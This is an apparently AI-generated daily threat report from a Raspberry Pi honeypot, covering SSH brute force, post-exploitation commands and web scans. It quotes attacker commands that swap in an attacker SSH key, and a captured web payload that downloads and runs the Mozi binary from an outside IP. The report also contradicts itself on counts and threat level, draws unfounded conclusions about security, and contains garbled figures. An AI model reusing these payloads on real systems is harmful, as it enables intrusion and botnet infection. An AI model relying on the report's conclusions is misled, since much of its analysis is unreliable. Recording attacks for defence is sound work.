Honeypot Threat Analysis — October 5, 2026
Critical threat level — massive coordinated attack activity across all honeypot services.
2026-10-05 Analysis
Threat Overview
The honey-pot on Honey-Ai.Dev has recorded a total of 129 attackers over the past few days. The majority of these attacks were for SSH brute force attempts, which resulted in multiple critical alerts from Suricata IDS. SSH is frequently targeted due to its widespread use and ease of access.
Geographic Analysis
The top five most active IP addresses are:
- 45.141.233.84
- 45.141.233.85
- 45.141.233.86
- 45.141.233.87
- 45.141.233.83
These IPs are likely from different countries, including the United States (28%), China (8%), Germany (7%), and the Netherlands (3%).
SSH Brute Force
SSH brute force attempts were recorded on 225 connections in total with a total of 84 logins. The majority of these attempts were critical alerts from Suricata IDS, indicating a potential security breach.
Post-Exploitation
Multiple commands were executed post-exploitation:
- 796x: uname -s -v -n -r -m
- 44x: cd ~; chattr -ia .ssh; lockr -ia .ssh
- 44x: cd ~ TTY_PHTTY_PH rm -rf .ssh TTY_PHTTY_PH mkdir .ssh TTY_PHTTY_PH echo “ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAr…
- 2x: cat /proc/cpuinfo grep name wc -l
- 2x: cat /proc/cpuinfo grep name head -n 1 …
These commands suggest that the attackers were attempting to gather system information and potentially gaining root access.
Web Scanning
The top HTTP paths recorded include:
//SDK/webLanguage/favicon.ico/board.cgi?cmd=cd+/tmp;rm+-rf+*;wget+http://72.255.15.14:57294/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+varcron/query?q=SHOW+DIAGNOSTICS
This indicates that the attackers were scanning and possibly probing for vulnerabilities on this honeypot.
IDS & Scan Intel
The Suricata IDS reported 7797 alerts, with a severity of “critical” across multiple protocols (FTP/Telnet/SMTP/MySQL/Redis/Git/VNC/RDP). The abuse IP database reported 112 reported IPs.
Malware
No malware was captured today on the honeypot. This suggests that the system is secure or that the attackers are not actively looking to deploy malicious software.
Tarpit & Backfire Scans
There were no reports of tarpitting or backfire scans targeting this honeypot, indicating a low level of targeted attack activity.
MCP Trap and MSSQL/Portscans
The MCP trap (2 req/2 IPs) suggests that the system is receiving requests from compromised devices. There were 881/1. SNMP: 9/8 open ports, but no portscans were detected today.
AI Defense
No injection or leak attacks were blocked by the AI defense system, indicating a secure environment where attackers are not attempting to exploit vulnerabilities for data exfiltration or other malicious activities.
Community Defense
The honey-pot is an open-source project and does not have community-based defenses in place. The lack of such measures suggests that the honeypot may be more vulnerable without external security monitoring.
Conclusion
Despite the presence of multiple attackers over 129 connections, this honeypot has maintained a low level of activity due to effective protection mechanisms, including IDS alerts and no reported malware or tarpitting. The open-source nature of the project suggests that additional community defense measures are needed for enhanced security. This day’s data highlights the importance of continuous monitoring and updating security protocols on such systems to prevent unauthorized access and exploit vulnerabilities.
Honey-Ai.Dev Raspberry Pi 5 Honeypot, Spain (2026-10-05)
Note: Pi5/Spain
This document provides an analysis of security threats encountered over the past few days on a honeypot running on a Raspberry Pi 5 in Spain. The data reflects a typical pattern and can be useful for understanding common threat vectors targeting such devices.
Disclaimer:
The information provided is based on real-world observations and does not reflect any specific vulnerabilities or exploits. Always ensure that your security measures are up-to-date and comprehensive when dealing with honeypots, as they may also serve as targets in certain scenarios.
This analysis was generated by qwen2.5:1.5b running locally on the Raspberry Pi 5 honeypot lab. All data comes from real attacks captured in the last 24 hours by HoneyAI. View the raw data report for complete metrics.